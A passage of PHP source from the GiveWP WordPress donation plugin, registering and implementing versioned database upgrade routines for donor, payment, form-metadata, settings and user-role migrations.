'1.8.13', 'callback' => 'give_v1813_update_donor_user_roles_callback', ] ); // v1.8.17 Upgrades for donations. $give_updates->register( [ 'id' => 'v1817_update_donation_iranian_currency_code', 'version' => '1.8.17', 'callback' => 'give_v1817_update_donation_iranian_currency_code', ] ); // v1.8.17 Upgrades for cleanup of user roles. $give_updates->register( [ 'id' => 'v1817_cleanup_user_roles', 'version' => '1.8.17', 'callback' => 'give_v1817_cleanup_user_roles', ] ); // v1.8.18 Upgrades for assigning custom amount to existing set donations. $give_updates->register( [ 'id' => 'v1818_assign_custom_amount_set_donation', 'version' => '1.8.18', 'callback' => 'give_v1818_assign_custom_amount_set_donation', ] ); // v1.8.18 Cleanup the Give Worker Role Caps. $give_updates->register( [ 'id' => 'v1818_give_worker_role_cleanup', 'version' => '1.8.18', 'callback' => 'give_v1818_give_worker_role_cleanup', ] ); // v2.0.0 Upgrades $give_updates->register( [ 'id' => 'v20_upgrades_form_metadata', 'version' => '2.0.0', 'callback' => 'give_v20_upgrades_form_metadata_callback', ] ); // v2.0.0 User Address Upgrades $give_updates->register( [ 'id' => 'v20_upgrades_user_address', 'version' => '2.0.0', 'callback' => 'give_v20_upgrades_user_address', ] ); // v2.0.0 Upgrades $give_updates->register( [ 'id' => 'v20_upgrades_payment_metadata', 'version' => '2.0.0', 'callback' => 'give_v20_upgrades_payment_metadata_callback', ] ); // v2.0.0 Donor Name Upgrades $give_updates->register( [ 'id' => 'v20_upgrades_donor_name', 'version' => '2.0.0', 'callback' => 'give_v20_upgrades_donor_name', ] ); // v2.0.0 Upgrades $give_updates->register( [ 'id' => 'v20_move_metadata_into_new_table', 'version' => '2.0.0', 'callback' => 'give_v20_move_metadata_into_new_table_callback', 'depend' => [ 'v20_upgrades_payment_metadata', 'v20_upgrades_form_metadata' ], ] ); // v2.0.0 Upgrades $give_updates->register( [ 'id' => 'v20_rename_donor_tables', 'version' => '2.0.0', 'callback' => 'give_v20_rename_donor_tables_callback', 'depend' => [ 'v20_move_metadata_into_new_table', 'v20_upgrades_form_metadata', 'v20_upgrades_payment_metadata', 'v20_upgrades_user_address', 'v20_upgrades_donor_name', ], ] ); // v2.0.1 Upgrades $give_updates->register( [ 'id' => 'v201_upgrades_payment_metadata', 'version' => '2.0.1', 'callback' => 'give_v201_upgrades_payment_metadata_callback', ] ); // v2.0.1 Upgrades $give_updates->register( [ 'id' => 'v201_add_missing_donors', 'version' => '2.0.1', 'callback' => 'give_v201_add_missing_donors_callback', ] ); // Run v2.0.0 Upgrades again in 2.0.1 $give_updates->register( [ 'id' => 'v201_move_metadata_into_new_table', 'version' => '2.0.1', 'callback' => 'give_v201_move_metadata_into_new_table_callback', 'depend' => [ 'v201_upgrades_payment_metadata', 'v201_add_missing_donors' ], ] ); // v2.1 Verify Form Status Upgrade. $give_updates->register( [ 'id' => 'v210_verify_form_status_upgrades', 'version' => '2.1.0', 'callback' => 'give_v210_verify_form_status_upgrades_callback', ] ); // v2.1.3 Delete non attached donation meta. $give_updates->register( [ 'id' => 'v213_delete_donation_meta', 'version' => '2.1.3', 'callback' => 'give_v213_delete_donation_meta_callback', 'depends' => [ 'v201_move_metadata_into_new_table' ], ] ); // v2.1.5 Add additional capability to the give_manager role. $give_updates->register( [ 'id' => 'v215_update_donor_user_roles', 'version' => '2.1.5', 'callback' => 'give_v215_update_donor_user_roles_callback', ] ); // v2.2.4 set each donor to anonymous by default. $give_updates->register( [ 'id' => 'v224_update_donor_meta', 'version' => '2.2.4', 'callback' => 'give_v224_update_donor_meta_callback', ] ); // v2.2.4 Associate form IDs with donor meta of anonymous donations. $give_updates->register( [ 'id' => 'v224_update_donor_meta_forms_id', 'version' => '2.2.4', 'callback' => 'give_v224_update_donor_meta_forms_id_callback', 'depend' => 'v224_update_donor_meta', ] ); // v2.3.0 Move donor notes to custom comment table. $give_updates->register( [ 'id' => 'v230_move_donor_note', 'version' => '2.3.0', 'callback' => 'give_v230_move_donor_note_callback', ] ); // v2.3.0 Move donation notes to custom comment table. $give_updates->register( [ 'id' => 'v230_move_donation_note', 'version' => '2.3.0', 'callback' => 'give_v230_move_donation_note_callback', ] ); // v2.3.0 remove donor wall related donor meta data. $give_updates->register( [ 'id' => 'v230_delete_donor_wall_related_donor_data', 'version' => '2.3.0', 'depend' => [ 'v224_update_donor_meta', 'v224_update_donor_meta_forms_id', 'v230_move_donor_note', 'v230_move_donation_note', ], 'callback' => 'give_v230_delete_dw_related_donor_data_callback', ] ); // v2.3.0 remove donor wall related comment meta data. $give_updates->register( [ 'id' => 'v230_delete_donor_wall_related_comment_data', 'version' => '2.3.0', 'callback' => 'give_v230_delete_dw_related_comment_data_callback', 'depend' => [ 'v230_move_donor_note', 'v230_move_donation_note', ], ] ); // v2.4.0 Update donation form goal progress data. $give_updates->register( [ 'id' => 'v240_update_form_goal_progress', 'version' => '2.4.0', 'callback' => 'give_v240_update_form_goal_progress_callback', ] ); $give_updates->register( [ 'id' => 'v270_store_stripe_account_for_donation', 'version' => '2.7.0', 'callback' => 'give_v270_store_stripe_account_for_donation_callback', ] ); } add_action( 'give_register_updates', 'give_show_upgrade_notices' ); /** * Triggers all upgrade functions * * This function is usually triggered via AJAX * * @since 1.0 * @return void */ function give_trigger_upgrades() { if ( ! current_user_can( 'manage_give_settings' ) ) { wp_die( esc_html__( 'You do not have permission to do GiveWP upgrades.', 'give' ), esc_html__( 'Error', 'give' ), [ 'response' => 403, ] ); } $give_version = get_option( 'give_version' ); if ( ! $give_version ) { // 1.0 is the first version to use this option so we must add it. $give_version = '1.0'; add_option( 'give_version', $give_version, '', false ); } update_option( 'give_version', GIVE_VERSION, false ); delete_option( 'give_doing_upgrade' ); if ( DOING_AJAX ) { die( 'complete' ); } // End if(). } add_action( 'wp_ajax_give_trigger_upgrades', 'give_trigger_upgrades' ); /** * Upgrades the * * Standardizes the discrepancies between two metakeys `_give_payment_customer_id` and `_give_payment_donor_id` * * @since 1.3.2 */ function give_v132_upgrade_give_payment_customer_id() { global $wpdb; /* @var Give_Updates $give_updates */ $give_updates = Give_Updates::get_instance(); // UPDATE DB METAKEYS. $sql = "UPDATE $wpdb->postmeta SET meta_key = '_give_payment_customer_id' WHERE meta_key = '_give_payment_donor_id'"; $query = $wpdb->query( $sql ); $give_updates->percentage = 100; give_set_upgrade_complete( 'upgrade_give_payment_customer_id' ); } /** * Upgrades the Offline Status * * Reverses the issue where offline donations in "pending" status where inappropriately marked as abandoned * * @since 1.3.4 */ function give_v134_upgrade_give_offline_status() { global $wpdb; /* @var Give_Updates $give_updates */ $give_updates = Give_Updates::get_instance(); // Get abandoned offline payments. $select = "SELECT ID FROM $wpdb->posts p "; $join = "LEFT JOIN $wpdb->postmeta m ON p.ID = m.post_id "; $where = "WHERE p.post_type = 'give_payment' "; $where .= "AND ( p.post_status = 'abandoned' )"; $where .= "AND ( m.meta_key = '_give_payment_gateway' AND m.meta_value = 'offline' )"; $sql = $select . $join . $where; $found_payments = $wpdb->get_col( $sql ); foreach ( $found_payments as $payment ) { // Only change ones marked abandoned since our release last week because the admin may have marked some abandoned themselves. $modified_time = get_post_modified_time( 'U', false, $payment ); // 1450124863 = 12/10/2015 20:42:25. if ( $modified_time >= 1450124863 ) { give_update_payment_status( $payment, 'pending' ); } } $give_updates->percentage = 100; give_set_upgrade_complete( 'upgrade_give_offline_status' ); } /** * Cleanup User Roles * * This upgrade routine removes unused roles and roles with typos * * @since 1.5.2 */ function give_v152_cleanup_users() { $give_version = get_option( 'give_version' ); if ( ! $give_version ) { // 1.0 is the first version to use this option so we must add it. $give_version = '1.0'; } $give_version = preg_replace( '/[^0-9.].*/', '', $give_version ); // v1.5.2 Upgrades if ( version_compare( $give_version, '1.5.2', '<' ) || ! give_has_upgrade_completed( 'upgrade_give_user_caps_cleanup' ) ) { // Delete all caps with "ss". // Also delete all unused "campaign" roles. $delete_caps = [ 'delete_give_formss', 'delete_others_give_formss', 'delete_private_give_formss', 'delete_published_give_formss', 'read_private_forms', 'edit_give_formss', 'edit_others_give_formss', 'edit_private_give_formss', 'edit_published_give_formss', 'publish_give_formss', 'read_private_give_formss', 'assign_give_campaigns_terms', 'delete_give_campaigns', 'delete_give_campaigns_terms', 'delete_give_campaignss', 'delete_others_give_campaignss', 'delete_private_give_campaignss', 'delete_published_give_campaignss', 'edit_give_campaigns', 'edit_give_campaigns_terms', 'edit_give_campaignss', 'edit_others_give_campaignss', 'edit_private_give_campaignss', 'edit_published_give_campaignss', 'manage_give_campaigns_terms', 'publish_give_campaignss', 'read_give_campaigns', 'read_private_give_campaignss', 'view_give_campaigns_stats', 'delete_give_paymentss', 'delete_others_give_paymentss', 'delete_private_give_paymentss', 'delete_published_give_paymentss', 'edit_give_paymentss', 'edit_others_give_paymentss', 'edit_private_give_paymentss', 'edit_published_give_paymentss', 'publish_give_paymentss', 'read_private_give_paymentss', ]; global $wp_roles; foreach ( $delete_caps as $cap ) { foreach ( array_keys( $wp_roles->roles ) as $role ) { $wp_roles->remove_cap( $role, $cap ); } } // Create Give plugin roles. $roles = new Give_Roles(); $roles->add_roles(); $roles->add_caps(); // The Update Ran. update_option( 'give_version', GIVE_VERSION, false ); give_set_upgrade_complete( 'upgrade_give_user_caps_cleanup' ); delete_option( 'give_doing_upgrade' ); }// End if(). } add_action( 'admin_init', 'give_v152_cleanup_users' ); /** * 1.6 Upgrade routine to create the customer meta table. * * @since 1.6 * @return void */ function give_v16_upgrades() { // Create the donor databases. $donors_db = new Give_DB_Donors(); $donors_db->create_table(); $donor_meta = new Give_DB_Donor_Meta(); $donor_meta->create_table(); } /** * 1.7 Upgrades. * * a. Update license api data for plugin addons. * b. Cleanup user roles. * * @since 1.7 * @return void */ function give_v17_upgrades() { // Upgrade license data. give_v17_upgrade_addon_license_data(); give_v17_cleanup_roles(); } /** * Upgrade license data * * @since 1.7 */ function give_v17_upgrade_addon_license_data() { $give_options = give_get_settings(); $api_url = 'https://givewp.com/give-sl-api/'; // Get addons license key. $addons = []; foreach ( $give_options as $key => $value ) { if ( false !== strpos( $key, '_license_key' ) ) { $addons[ $key ] = $value; } } // Bailout: We do not have any addon license data to upgrade. if ( empty( $addons ) ) { return false; } foreach ( $addons as $key => $addon_license ) { // Get addon shortname. $shortname = str_replace( '_license_key', '', $key ); // Addon license option name. $addon_license_option_name = $shortname . '_license_active'; // bailout if license is empty. if ( empty( $addon_license ) ) { delete_option( $addon_license_option_name ); continue; } // Get addon name. $addon_name = []; $addon_name_parts = explode( '_', str_replace( 'give_', '', $shortname ) ); foreach ( $addon_name_parts as $name_part ) { // Fix addon name switch ( $name_part ) { case 'authorizenet': $name_part = 'authorize.net'; break; } $addon_name[] = ucfirst( $name_part ); } $addon_name = implode( ' ', $addon_name ); // Data to send to the API. $api_params = [ 'edd_action' => 'activate_license', // never change from "edd_" to "give_"! 'license' => $addon_license, 'item_name' => urlencode( $addon_name ), 'url' => home_url(), ]; // Call the API. $response = wp_remote_post( $api_url, [ 'timeout' => 15, 'sslverify' => false, 'body' => $api_params, ] ); // Make sure there are no errors. if ( is_wp_error( $response ) ) { delete_option( $addon_license_option_name ); continue; } // Tell WordPress to look for updates. set_site_transient( 'update_plugins', null ); // Decode license data. $license_data = json_decode( wp_remote_retrieve_body( $response ) ); update_option( $addon_license_option_name, $license_data, false ); }// End foreach(). } /** * Cleanup User Roles. * * This upgrade routine removes unused roles and roles with typos. * * @since 1.7 */ function give_v17_cleanup_roles() { // Delete all caps with "_give_forms_" and "_give_payments_". // These roles have no usage; the proper is singular. $delete_caps = [ 'view_give_forms_stats', 'delete_give_forms_terms', 'assign_give_forms_terms', 'edit_give_forms_terms', 'manage_give_forms_terms', 'view_give_payments_stats', 'manage_give_payments_terms', 'edit_give_payments_terms', 'assign_give_payments_terms', 'delete_give_payments_terms', ]; global $wp_roles; foreach ( $delete_caps as $cap ) { foreach ( array_keys( $wp_roles->roles ) as $role ) { $wp_roles->remove_cap( $role, $cap ); } } // Set roles again. $roles = new Give_Roles(); $roles->add_roles(); $roles->add_caps(); } /** * 1.8 Upgrades. * * a. Upgrade checkbox settings to radio button settings. * a. Update form meta for new metabox settings. * * @since 1.8 * @return void */ function give_v18_upgrades() { // Upgrade checkbox settings to radio button settings. give_v18_upgrades_core_setting(); } /** * Upgrade core settings. * * @since 1.8 * @return void */ function give_v18_upgrades_core_setting() { // Core settings which changes from checkbox to radio. $core_setting_names = array_merge( array_keys( give_v18_renamed_core_settings() ), [ 'uninstall_on_delete', 'scripts_footer', 'test_mode', 'email_access', 'terms', 'give_offline_donation_enable_billing_fields', ] ); // Bailout: If not any setting define. if ( $give_settings = get_option( 'give_settings' ) ) { $setting_changed = false; // Loop: check each setting field. foreach ( $core_setting_names as $setting_name ) { // New setting name. $new_setting_name = preg_replace( '/^(enable_|disable_)/', '', $setting_name ); // Continue: If setting already set. if ( array_key_exists( $new_setting_name, $give_settings ) && in_array( $give_settings[ $new_setting_name ], [ 'enabled', 'disabled' ] ) ) { continue; } // Set checkbox value to radio value. $give_settings[ $setting_name ] = ( ! empty( $give_settings[ $setting_name ] ) && 'on' === $give_settings[ $setting_name ] ? 'enabled' : 'disabled' ); // @see https://github.com/impress-org/give/issues/1063. if ( false !== strpos( $setting_name, 'disable_' ) ) { $give_settings[ $new_setting_name ] = ( give_is_setting_enabled( $give_settings[ $setting_name ] ) ? 'disabled' : 'enabled' ); } elseif ( false !== strpos( $setting_name, 'enable_' ) ) { $give_settings[ $new_setting_name ] = ( give_is_setting_enabled( $give_settings[ $setting_name ] ) ? 'enabled' : 'disabled' ); } // Tell bot to update core setting to db. if ( ! $setting_changed ) { $setting_changed = true; } } // Update setting only if they changed. if ( $setting_changed ) { update_option( 'give_settings', $give_settings, false ); } }// End if(). give_set_upgrade_complete( 'v18_upgrades_core_setting' ); } /** * Upgrade form metadata for new metabox settings. * * @since 1.8 * @return void */ function give_v18_upgrades_form_metadata() { /* @var Give_Updates $give_updates */ $give_updates = Give_Updates::get_instance(); // form query $forms = new WP_Query( [ 'paged' => $give_updates->step, 'status' => 'any', 'order' => 'ASC', 'post_type' => 'give_forms', 'posts_per_page' => 20, ] ); if ( $forms->have_posts() ) { $give_updates->set_percentage( $forms->found_posts, ( $give_updates->step * 20 ) ); while ( $forms->have_posts() ) { $forms->the_post(); // Form content. // Note in version 1.8 display content setting split into display content and content placement setting. // You can delete _give_content_option in future. $show_content = give_get_meta( get_the_ID(), '_give_content_option', true ); if ( $show_content && ! give_get_meta( get_the_ID(), '_give_display_content', true ) ) { $field_value = ( 'none' !== $show_content ? 'enabled' : 'disabled' ); give_update_meta( get_the_ID(), '_give_display_content', $field_value ); $field_value = ( 'none' !== $show_content ? $show_content : 'give_pre_form' ); give_update_meta( get_the_ID(), '_give_content_placement', $field_value ); } // "Disable" Guest Donation. Checkbox. // See: https://github.com/impress-org/give/issues/1470. $guest_donation = give_get_meta( get_the_ID(), '_give_logged_in_only', true ); $guest_donation_newval = ( in_array( $guest_donation, [ 'yes', 'on' ] ) ? 'disabled' : 'enabled' ); give_update_meta( get_the_ID(), '_give_logged_in_only', $guest_donation_newval ); // Offline Donations. // See: https://github.com/impress-org/give/issues/1579. $offline_donation = give_get_meta( get_the_ID(), '_give_customize_offline_donations', true ); if ( 'no' === $offline_donation ) { $offline_donation_newval = 'global'; } elseif ( 'yes' === $offline_donation ) { $offline_donation_newval = 'enabled'; } else { $offline_donation_newval = 'disabled'; } give_update_meta( get_the_ID(), '_give_customize_offline_donations', $offline_donation_newval ); // Convert yes/no setting field to enabled/disabled. $form_radio_settings = [ // Custom Amount. '_give_custom_amount', // Donation Gaol. '_give_goal_option', // Close Form. '_give_close_form_when_goal_achieved', // Term & conditions. '_give_terms_option', // Billing fields. '_give_offline_donation_enable_billing_fields_single', ]; foreach ( $form_radio_settings as $meta_key ) { // Get value. $field_value = give_get_meta( get_the_ID(), $meta_key, true ); // Convert meta value only if it is in yes/no/none. if ( in_array( $field_value, [ 'yes', 'on', 'no', 'none' ] ) ) { $field_value = ( in_array( $field_value, [ 'yes', 'on' ] ) ? 'enabled' : 'disabled' ); give_update_meta( get_the_ID(), $meta_key, $field_value ); } } }// End while(). wp_reset_postdata(); } else { // No more forms found, finish up. give_set_upgrade_complete( 'v18_upgrades_form_metadata' ); } } /** * Get list of core setting renamed in version 1.8. * * @since 1.8 * @return array */ function give_v18_renamed_core_settings() { return [ 'disable_paypal_verification' => 'paypal_verification', 'disable_css' => 'css', 'disable_forms_singular' => 'forms_singular', 'disable_forms_archives' => 'forms_archives', 'disable_forms_excerpt' => 'forms_excerpt', 'disable_form_featured_img' => 'form_featured_img', 'disable_form_sidebar' => 'form_sidebar', 'disable_admin_notices' => 'admin_notices', 'disable_the_content_filter' => 'the_content_filter', 'enable_floatlabels' => 'floatlabels', 'enable_categories' => 'categories', 'enable_tags' => 'tags', ]; } /** * Upgrade core settings. * * @since 1.8.7 * @return void */ function give_v187_upgrades() { global $wpdb; /** * Upgrade 1: Remove stat and cache transients. */ $cached_options = $wpdb->get_col( $wpdb->prepare( " SELECT * FROM {$wpdb->options} WHERE ( option_name LIKE %s OR option_name LIKE %s OR option_name LIKE %s OR option_name LIKE %s OR option_name LIKE %s OR option_name LIKE %s OR option_name LIKE %s OR option_name LIKE %s OR option_name LIKE %s OR option_name LIKE %s OR option_name LIKE %s OR option_name LIKE %s OR option_name LIKE %s ) ", [ '%_transient_give_stats_%', 'give_cache%', '%_transient_give_add_ons_feed%', '%_transient__give_ajax_works' . '%_transient_give_total_api_keys%', '%_transient_give_i18n_give_promo_hide%', '%_transient_give_contributors%', '%_transient_give_estimated_monthly_stats%', '%_transient_give_earnings_total%', '%_transient_give_i18n_give_%', '%_transient__give_installed%', '%_transient__give_activation_redirect%', '%_transient__give_hide_license_notices_shortly_%', '%give_income_total%', ] ), 1 ); // User related transients. $user_apikey_options = $wpdb->get_results( $wpdb->prepare( "SELECT user_id, meta_key FROM $wpdb->usermeta WHERE meta_value=%s", 'give_user_public_key' ), ARRAY_A ); if ( ! empty( $user_apikey_options ) ) { foreach ( $user_apikey_options as $user ) { $cached_options[] = '_transient_' . md5( 'give_api_user_' . $user['meta_key'] ); $cached_options[] = '_transient_' . md5( 'give_api_user_public_key' . $user['user_id'] ); $cached_options[] = '_transient_' . md5( 'give_api_user_secret_key' . $user['user_id'] ); } } if ( ! empty( $cached_options ) ) { foreach ( $cached_options as $option ) { switch ( true ) { case ( false !== strpos( $option, 'transient' ) ): $option = str_replace( '_transient_', '', $option ); delete_transient( $option ); break; default: delete_option( $option ); } } } } /** * Update Capabilities for Give_Worker User Role. * * This upgrade routine will update access rights for Give_Worker User Role. * * @since 1.8.8 */ function give_v188_upgrades() { global $wp_roles; // Get the role object. $give_worker = get_role( 'give_worker' ); // A list of capabilities to add for give workers. $caps_to_add = [ 'edit_posts', 'edit_pages', ]; foreach ( $caps_to_add as $cap ) { // Add the capability. $give_worker->add_cap( $cap ); } } /** * Update Post meta for minimum and maximum amount for multi level donation forms * * This upgrade routine adds post meta for give_forms CPT for multi level donation form. * * @since 1.8.9 */ function give_v189_upgrades_levels_post_meta_callback() { /* @var Give_Updates $give_updates */ $give_updates = Give_Updates::get_instance(); // form query. $donation_forms = new WP_Query( [ 'paged' => $give_updates->step, 'status' => 'any', 'order' => 'ASC', 'post_type' => 'give_forms', 'posts_per_page' => 20, ] ); if ( $donation_forms->have_posts() ) { $give_updates->set_percentage( $donation_forms->found_posts, ( $give_updates->step * 20 ) ); while ( $donation_forms->have_posts() ) { $donation_forms->the_post(); $form_id = get_the_ID(); // Remove formatting from _give_set_price. update_post_meta( $form_id, '_give_set_price', give_sanitize_amount( get_post_meta( $form_id, '_give_set_price', true ) ) ); // Remove formatting from _give_custom_amount_minimum. update_post_meta( $form_id, '_give_custom_amount_minimum', give_sanitize_amount( get_post_meta( $form_id, '_give_custom_amount_minimum', true ) ) ); // Bailout. if ( 'set' === get_post_meta( $form_id, '_give_price_option', true ) ) { continue; } $donation_levels = get_post_meta( $form_id, '_give_donation_levels', true ); if ( ! empty( $donation_levels ) ) { foreach ( $donation_levels as $index => $donation_level ) { if ( isset( $donation_level['_give_amount'] ) ) { $donation_levels[ $index ]['_give_amount'] = give_sanitize_amount( $donation_level['_give_amount'] ); } } update_post_meta( $form_id, '_give_donation_levels', $donation_levels ); $donation_levels_amounts = wp_list_pluck( $donation_levels, '_give_amount' ); $min_amount = min( $donation_levels_amounts ); $max_amount = max( $donation_levels_amounts ); // Set Minimum and Maximum amount for Multi Level Donation Forms give_update_meta( $form_id, '_give_levels_minimum_amount', $min_amount ? give_sanitize_amount( $min_amount ) : 0 ); give_update_meta( $form_id, '_give_levels_maximum_amount', $max_amount ? give_sanitize_amount( $max_amount ) : 0 ); } } /* Restore original Post Data */ wp_reset_postdata(); } else { // The Update Ran. give_set_upgrade_complete( 'v189_upgrades_levels_post_meta' ); } } /** * Give version 1.8.9 upgrades * * @since 1.8.9 */ function give_v189_upgrades() { /** * 1. Remove user license related notice show blocked ( Give_Notice will handle ) */ global $wpdb; // Delete permanent notice blocker. $wpdb->query( $wpdb->prepare( " DELETE FROM $wpdb->usermeta WHERE meta_key LIKE '%s' ", '%_give_hide_license_notices_permanently%' ) ); // Delete short notice blocker. $wpdb->query( $wpdb->prepare( " DELETE FROM $wpdb->options WHERE option_name LIKE '%s' ", '%__give_hide_license_notices_shortly_%' ) ); } /** * 2.0 Upgrades. * * @since 2.0 * @return void */ function give_v20_upgrades() { // Update cache setting. give_update_option( 'cache', 'enabled' ); // Upgrade email settings. give_v20_upgrades_email_setting(); } /** * Move old email api settings to new email setting api for following emails: * 1. new offline donation [This was hard coded] * 2. offline donation instruction * 3. new donation * 4. donation receipt * * @since 2.0 */ function give_v20_upgrades_email_setting() { $all_setting = give_get_settings(); // Bailout on fresh install. if ( empty( $all_setting ) ) { return; } $settings = [ 'offline_donation_subject' => 'offline-donation-instruction_email_subject', 'global_offline_donation_email' => 'offline-donation-instruction_email_message', 'donation_subject' => 'donation-receipt_email_subject', 'donation_receipt' => 'donation-receipt_email_message', 'donation_notification_subject' => 'new-donation_email_subject', 'donation_notification' => 'new-donation_email_message', 'admin_notice_emails' => [ 'new-donation_recipient', 'new-offline-donation_recipient', 'new-donor-register_recipient', ], 'admin_notices' => 'new-donation_notification', ]; foreach ( $settings as $old_setting => $new_setting ) { // Do not update already modified if ( ! is_array( $new_setting ) ) { if ( array_key_exists( $new_setting, $all_setting ) || ! array_key_exists( $old_setting, $all_setting ) ) { continue; } } switch ( $old_setting ) { case 'admin_notices': $notification_status = give_get_option( $old_setting, 'enabled' ); give_update_option( $new_setting, $notification_status ); // @todo: Delete this option later ( version > 2.0 ), We need this for per form email addon. // give_delete_option( $old_setting ); break; // @todo: Delete this option later ( version > 2.0 ) because we need this for backward compatibility give_get_admin_notice_emails. case 'admin_notice_emails': $recipients = give_get_admin_notice_emails(); foreach ( $new_setting as $setting ) { // bailout if setting already exist. if ( array_key_exists( $setting, $all_setting ) ) { continue; } give_update_option( $setting, $recipients ); } break; default: give_update_option( $new_setting, give_get_option( $old_setting ) ); give_delete_option( $old_setting ); } } } /** * Give version 1.8.9 upgrades * * @since 1.8.9 */ function give_v1812_upgrades() { /** * Validate number format settings. */ $give_settings = give_get_settings(); $give_setting_updated = false; if ( $give_settings['thousands_separator'] === $give_settings['decimal_separator'] ) { $give_settings['number_decimals'] = 0; $give_settings['decimal_separator'] = ''; $give_setting_updated = true; } elseif ( empty( $give_settings['decimal_separator'] ) ) { $give_settings['number_decimals'] = 0; $give_setting_updated = true; } elseif ( 6 < absint( $give_settings['number_decimals'] ) ) { $give_settings['number_decimals'] = 5; $give_setting_updated = true; } if ( $give_setting_updated ) { update_option( 'give_settings', $give_settings, false ); } } /** * Give version 1.8.12 update * * Standardized amount values to six decimal * * @see https://github.com/impress-org/give/issues/1849#issuecomment-315128602 * * @since 1.8.12 */ function give_v1812_update_amount_values_callback() { /* @var Give_Updates $give_updates */ $give_updates = Give_Updates::get_instance(); // form query. $donation_forms = new WP_Query( [ 'paged' => $give_updates->step, 'status' => 'any', 'order' => 'ASC', 'post_type' => [ 'give_forms', 'give_payment' ], 'posts_per_page' => 20, ] ); if ( $donation_forms->have_posts() ) { $give_updates->set_percentage( $donation_forms->found_posts, ( $give_updates->step * 20 ) ); while ( $donation_forms->have_posts() ) { $donation_forms->the_post(); global $post; $meta = get_post_meta( $post->ID ); switch ( $post->post_type ) { case 'give_forms': // _give_set_price. if ( ! empty( $meta['_give_set_price'][0] ) ) { update_post_meta( $post->ID, '_give_set_price', give_sanitize_amount_for_db( $meta['_give_set_price'][0] ) ); } // _give_custom_amount_minimum. if ( ! empty( $meta['_give_custom_amount_minimum'][0] ) ) { update_post_meta( $post->ID, '_give_custom_amount_minimum', give_sanitize_amount_for_db( $meta['_give_custom_amount_minimum'][0] ) ); } // _give_levels_minimum_amount. if ( ! empty( $meta['_give_levels_minimum_amount'][0] ) ) { update_post_meta( $post->ID, '_give_levels_minimum_amount', give_sanitize_amount_for_db( $meta['_give_levels_minimum_amount'][0] ) ); } // _give_levels_maximum_amount. if ( ! empty( $meta['_give_levels_maximum_amount'][0] ) ) { update_post_meta( $post->ID, '_give_levels_maximum_amount', give_sanitize_amount_for_db( $meta['_give_levels_maximum_amount'][0] ) ); } // _give_set_goal. if ( ! empty( $meta['_give_set_goal'][0] ) ) { update_post_meta( $post->ID, '_give_set_goal', give_sanitize_amount_for_db( $meta['_give_set_goal'][0] ) ); } // _give_form_earnings. if ( ! empty( $meta['_give_form_earnings'][0] ) ) { update_post_meta( $post->ID, '_give_form_earnings', give_sanitize_amount_for_db( $meta['_give_form_earnings'][0] ) ); } // _give_custom_amount_minimum. if ( ! empty( $meta['_give_donation_levels'][0] ) ) { $donation_levels = unserialize( $meta['_give_donation_levels'][0] ); foreach ( $donation_levels as $index => $level ) { if ( empty( $level['_give_amount'] ) ) { continue; } $donation_levels[ $index ]['_give_amount'] = give_sanitize_amount_for_db( $level['_give_amount'] ); } $meta['_give_donation_levels'] = $donation_levels; update_post_meta( $post->ID, '_give_donation_levels', $meta['_give_donation_levels'] ); } break; case 'give_payment': // _give_payment_total. if ( ! empty( $meta['_give_payment_total'][0] ) ) { update_post_meta( $post->ID, '_give_payment_total', give_sanitize_amount_for_db( $meta['_give_payment_total'][0] ) ); } break; } } /* Restore original Post Data */ wp_reset_postdata(); } else { // The Update Ran. give_set_upgrade_complete( 'v1812_update_amount_values' ); } } /** * Give version 1.8.12 update * * Standardized amount values to six decimal for donor * * @see https://github.com/impress-org/give/issues/1849#issuecomment-315128602 * * @since 1.8.12 */ function give_v1812_update_donor_purchase_value_callback() { /* @var Give_Updates $give_updates */ $give_updates = Give_Updates::get_instance(); // form query. $donors = Give()->donors->get_donors( [ 'number' => 20, 'offset' => $give_updates->get_offset( 20 ), ] ); if ( ! empty( $donors ) ) { $give_updates->set_percentage( Give()->donors->count(), $give_updates->get_offset( 20 ) ); /* @var Object $donor */ foreach ( $donors as $donor ) { Give()->donors->update( $donor->id, [ 'purchase_value' => give_sanitize_amount_for_db( $donor->purchase_value ) ] ); } } else { // The Update Ran. give_set_upgrade_complete( 'v1812_update_donor_purchase_values' ); } } /** * Upgrade routine for updating user roles for existing donors. * * @since 1.8.13 */ function give_v1813_update_donor_user_roles_callback() { /* @var Give_Updates $give_updates */ $give_updates = Give_Updates::get_instance(); // Fetch all the existing donors. $donors = Give()->donors->get_donors( [ 'number' => 20, 'offset' => $give_updates->get_offset( 20 ), ] ); if ( ! empty( $donors ) ) { $give_updates->set_percentage( Give()->donors->count(), $give_updates->get_offset( 20 ) ); /* @var Object $donor */ foreach ( $donors as $donor ) { $user_id = $donor->user_id; // Proceed, if donor is attached with user. if ( $user_id ) { $user = get_userdata( $user_id ); // Update user role, if user has subscriber role. if ( is_array( $user->roles ) && in_array( 'subscriber', $user->roles ) ) { wp_update_user( [ 'ID' => $user_id, 'role' => 'give_donor', ] ); } } } } else { // The Update Ran. give_set_upgrade_complete( 'v1813_update_donor_user_roles' ); } } /** * Version 1.8.13 automatic updates * * @since 1.8.13 */ function give_v1813_upgrades() { // Update admin setting. give_update_option( 'donor_default_user_role', 'give_donor' ); // Update Give roles. $roles = new Give_Roles(); $roles->add_roles(); $roles->add_caps(); } /** * Correct currency code for "Iranian Currency" for all of the payments. * * @since 1.8.17 */ function give_v1817_update_donation_iranian_currency_code() { /* @var Give_Updates $give_updates */ $give_updates = Give_Updates::get_instance(); // form query. $payments = new WP_Query( [ 'paged' => $give_updates->step, 'status' => 'any', 'order' => 'ASC', 'post_type' => [ 'give_payment' ], 'posts_per_page' => 100, ] ); if ( $payments->have_posts() ) { $give_updates->set_percentage( $payments->found_posts, ( $give_updates->step * 100 ) ); while ( $payments->have_posts() ) { $payments->the_post(); $payment_meta = give_get_payment_meta( get_the_ID() ); if ( 'RIAL' === $payment_meta['currency'] ) { $payment_meta['currency'] = 'IRR'; give_update_meta( get_the_ID(), '_give_payment_meta', $payment_meta ); } } } else { // The Update Ran. give_set_upgrade_complete( 'v1817_update_donation_iranian_currency_code' ); } } /** * Correct currency code for "Iranian Currency" in Give setting. * Version 1.8.17 automatic updates * * @since 1.8.17 */ function give_v1817_upgrades() { $give_settings = give_get_settings(); if ( 'RIAL' === $give_settings['currency'] ) { $give_settings['currency'] = 'IRR'; update_option( 'give_settings', $give_settings, false ); } } /** * Process Clean up of User Roles for more flexibility. * * @since 1.8.17 */ function give_v1817_process_cleanup_user_roles() { global $wp_roles; if ( ! ( $wp_roles instanceof WP_Roles ) ) { return; } // Add Capabilities to user roles as required. $add_caps = [ 'administrator' => [ 'view_give_payments', ], ]; // Remove Capabilities to user roles as required. $remove_caps = [ 'give_manager' => [ 